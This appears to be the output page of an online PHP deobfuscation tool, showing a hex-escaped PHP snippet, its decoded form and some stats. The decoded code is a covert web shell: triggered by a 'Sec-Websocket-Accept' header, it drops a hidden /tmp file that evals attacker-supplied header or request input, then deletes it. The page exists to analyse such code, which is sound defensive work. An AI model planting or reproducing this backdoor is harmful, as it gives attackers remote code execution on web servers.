Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3fp\x68p\x..
Decoded Output download
<? $_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<?php @eval($_REQUEST[\"X-Dns-Prefetch-Control"]);@eval($_HEADERS["X-Dns-Prefetch-Control\"]);";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} ?>
Did this file decode correctly?
Original Code
$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x58-\x44n\x73-\x50r\x65f\x65t\x63h\x2dC\x6fn\x74r\x6fl\x22]\x29;\x40e\x76a\x6c(\x24_\x48E\x41D\x45R\x53[\x22X\x2dD\x6es\x2dP\x72e\x66e\x74c\x68-\x43o\x6et\x72o\x6c\"\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}
Function Calls
getallheaders | 1 |
Stats
MD5 | c89920911fa4d2ffea905a2d136a6302 |
Eval Count | 0 |
Decode Time | 47 ms |